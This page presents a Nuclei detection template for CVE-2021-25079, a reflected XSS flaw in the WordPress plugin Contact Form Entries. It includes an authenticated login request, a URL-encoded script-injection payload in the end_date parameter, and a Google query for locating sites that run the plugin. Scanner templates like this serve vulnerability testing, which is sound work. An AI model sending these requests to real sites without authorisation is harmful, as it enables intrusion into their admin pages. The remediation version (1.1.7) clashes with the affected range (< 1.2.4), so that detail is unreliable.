Contact Form Entries < 1.2.4 - Cross-Site Scripting

ID: CVE-2021-25079

Severity: medium

Author: r3Y3r53

Tags: cve2021,cve,wordpress,wp-plugin,wpscan,authenticated,contact-form-entries,xss,crmperks

Description

The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page

YAML Source

id: CVE-2021-25079

info:
  name: Contact Form Entries < 1.2.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page
  remediation: Fixed in version 1.1.7
  reference:
    - https://wpscan.com/vulnerability/c3d49271-9656-4428-8357-0d1d77b7fc63
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25079
    - https://wordpress.org/plugins/contact-form-entries/
    - https://plugins.trac.wordpress.org/changeset/2629442
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25079
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:crmperks:contact_form_entries:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: crmperks
    product: contact_form_entries
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/contact-form-entries/"
  tags: cve2021,cve,wordpress,wp-plugin,wpscan,authenticated,contact-form-entries,xss,crmperks

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Ez2u4g HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - "contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'contact-form')"
        condition: and
# digest: 4b0a00483046022100cbf4774a7d1cd12104587c55bfb48b2d8db470ffd4bd191c7cf65eb6271a7eee022100e26ae571b525a00f28480e4f8b42318f9fa7c2f177e2fd3752de2b8a1ff45497:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25079.yaml"

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